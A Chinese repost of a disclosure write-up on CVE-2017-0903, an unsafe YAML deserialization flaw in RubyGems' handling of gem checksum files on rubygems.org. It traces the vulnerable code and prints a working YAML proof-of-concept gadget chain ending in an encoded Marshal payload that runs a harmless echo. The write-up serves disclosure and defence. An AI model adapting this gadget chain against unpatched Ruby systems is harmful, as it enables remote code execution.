rubygems.org远程命令执行漏洞分析

Posted 聚锋实验室

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了rubygems.org远程命令执行漏洞分析相关的知识,希望对你有一定的参考价值。


通过rubygems.org上的反序列化漏洞执行远程代码, 是 Ruby 社区的一个非常受欢迎的托管服务。不过目前该漏洞的补丁已经发布,请点此(https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-0903)升级到最新的版本。这个漏洞已被官方命名为CVE-2017-0903,关于该漏洞的详细官方介绍请点此。(http://blog.rubygems.org/2017/10/09/unsafe-object-deserialization-vulnerability.html


如果你曾经编写过ruby应用程序,那么很可能你已经和rubygems.org进行过交互了。甚至你可能已经把该网站设置为信任,以允许它在你的计算机上运行任意程序,例如,当用gem命令安装rails时,gem程序就会从rubygems.org获取rails gem及其所有依赖项,并将所有内容安装到相应的位置,这样任何拥有账户的人都可以在后台发布gem命令了。


Rubygems.org本身就是一个rails应用程序,它有着清楚地信息披露条例。


远程命令执行漏洞分析


Ruby gems实际上只是tar文件,所以运行tar -xvf foo.gem通常会留给你三个文件:

metadata.gz
data.tar.gz
checksums.yaml.gz


这三个文件都是以.gz结尾,属于被压缩的文件。 metadata.gz包含一个YAML文件,包含有关gem的信息,如名称,作者,版本等。 data.tar.gz包含了另一个tar文件,该文件包含所有源代码。 checksums.yaml.gz包含一个YAML文件,其中包含gem命令的一些哈希加密。


不过我发现,解析不信任的YAML是危险的。原来,我一直认为它是一种类似JSON的良性交换格式,但事实上,YAML允许任意对象的编码,就像利用Python pickle可以实现任意代码执行。


当你将gem上传到rubygems.org时,应用程序将调用Gem::Package.new(body).spec。该方法所用的rubygems gem使用了不安全的YAML.load调用来加载gem中的YAML文件。


不过,rubygems.org的作者是知道该方法的安全隐患的,在2013年以前,开发者利用给内置对象扩展方法(Monkey Patching)修补了YAML和gem解析库,仅允许对白名单里的对象进行反序列化。到2015年则完全采用了Psych.safe_load。


不幸的是,monkey-patching的修复还是遗留了一些漏洞,因为它只修补了Gem::Specification#from_yaml方法。如果我来看看在调用到#spec时所发生的一些情况,我就会明白#verify的调用,下面是调用中的一些关键部分:


# ...
  @gem.with_read_io do |io|
    Gem::Package::TarReader.new io do |reader|
    read_checksums reader
    verify_files reader
    end
  end
  verify_checksums @digests, @checksums
# ...


然后,在#read_checksums中会发生以下进程:


# ...
  Gem.load_yaml
  @checksums = gem.seek 'checksums.yaml.gz' do |entry|
    Zlib::GzipReader.wrap entry do |gz_io|
      YAML.load gz_io.read # oops
    end
  end
# ...


现在,我就可以用我控制的输入调用YAML.load。最初,我试图在YAML.load调用时运行漏洞利用代码。但事实比我想得更复杂,虽然我可以反序列化任意对象,但其实对这些对象进行调用的方法却非常有限。是我可以对这些对象做出的唯一实际方法是非常有限的。 这时,就要在python上使用yaml解析库库,这可以让我多一些调用方法的选择,比如#[]=, #init_with,和#marshal_load(请注意不是Marshal.load)。但是对于大多数对象来说,这些方法并不会给攻击带来什么灵活性,因为他们通常的做法只是初始化几个变量并返回。在一些标准的rails库中存在一些危险的#[]=方法(如过去一样),但目前,我还没有找到一个能够攻击的对象。


于是,我又重新检查了rubygems.org应用程序,对其中的@checksums变量的作用进行重新评估,发现可以将其设置为任何类实例变量,在#verify_checksums中的情况如下:


# ...
  checksums.sort.each do |algorithm, gem_digests|
    gem_digests.sort.each do |file_name, gem_hexdigest|
      computed_digest = digests[algorithm][file_name]
# ...


如果我可以构建一个调用#sort的对象,那就可以实施一些攻击,触发漏洞。这样,我就有了以下的POC。实际得到评估的有效载荷包含在底层64位编码的DEFLATE压缩的编组部分,在本例中,它只是负责运行echo "oops"。


SHA1: !ruby/object:Gem::Package::TarReader
  io: !ruby/object:Gem::Package::TarReader::Entry
    closed: false
    header: 'foo'
    read: 0
    io: !ruby/object:ActiveSupport::Cache::MemoryStore
      options: {}
      monitor: !ruby/object:ActiveSupport::Cache::Strategy::LocalCache::LocalStore
        registry: {}
      key_access: {}
      data:
        '3': !ruby/object:ActiveSupport::Cache::Entry
          compressed: true
          value: !binary '
          eJx1jrsKAjEQRbeQNT4QwQ9Q8hlTRXGL7UTFemMysIGYCZNZ0b/XYsHK8nIO
          nDtRBGbvJDzxMuRMLABHzIzOSqD0G+jbVMQmhzfLwd4jnphebwUrE0ZAoJrz
          YQpLE0PCRKGCmSnsWr3p0PW000S56G5eQ91cv9oDpScPC8YyRIG18WOMmGD7
          /1X1AV+XPlQ='


可以看出,从最后一步才开始逆向进行#sort调用。


在底部,我有一个ActiveSupport::Cache::Entry对象。这个对象的重要之处在于,当#value方法被调用并且@compressed为true时,它将在攻击者提供的DEFLATE压缩的数据上调用Marshal.load。解组的对象的构造方式是这样的,只要调用其上的任何方法就可以执行攻击者的代码。该方法是我以前写的,工作原理请点击这里(https://github.com/charliesome/charlie.bz/blob/master/posts/rails-3.2.10-remote-code-execution.md)。不幸的是,我不能在实现代码执行时,只用YAML来反序列化这个对象,因为它几乎对所有的方法都进行了undef,包括允许我设置实例变量的方法。因此,在使用时,要对Marshal.load进行加载才可以。


我会利用ActiveSupport::Cache::MemoryStore对象在@data哈希中解组我的恶意对象。它的父类ActiveSupport::Cache::Store定义了一个在MemoryStore中调用#read_entry的#read方法,#read_entry基本上只是抓取@data中的条目并将其返回。


由于MemoryStore以反序列化后的数组或者序列化后的字节缓存(ByteBuffer)形式将代码块存储到内存中,所以对MemoryStore#read的调用来自对Gem::Package::TarReader::Entry#read的调用,而Gem::Package::TarReader::Entry#read本身是由Gem::Package::TarReader#each调用的。读取返回后,对返回的值调用#size,由于我的恶意解组对象未定义,所以这会导致我的有效载荷开始执行。


最后,因为Gem::Package::TarReader对可枚举性(enumerable)进行了指定,所以调用其#sort方法将会调用其#each方法,这样整个攻击链就被启动了。


总结


在本文中,我介绍了 YAML的强大功能,有时它也可以在表现力较弱但很安全的交换格式(如JSON)中使用。也许在将来,YAML.load可以被修改为将类的白名单作为可选参数,使复杂对象的反序列化成为选择性行为。其实,目前的YAML.load实际上应该被命名为类似YAML.unsafe_load这样的名称,这样用户就知道他们何时用YAML.safe_load了。 




文章转自嘶吼



以上是关于rubygems.org远程命令执行漏洞分析的主要内容,如果未能解决你的问题,请参考以下文章

远程漏洞远程代码执行漏洞的二三事

远程代码执行漏洞是啥意思

openssh 远程代码执行漏洞 怎么解决

为啥电脑总会出现远程执行代码漏洞,修复了还是出?

bash远程命令执行漏洞 怎么修复

Pikachu-RCE(远程命令/代码执行漏洞)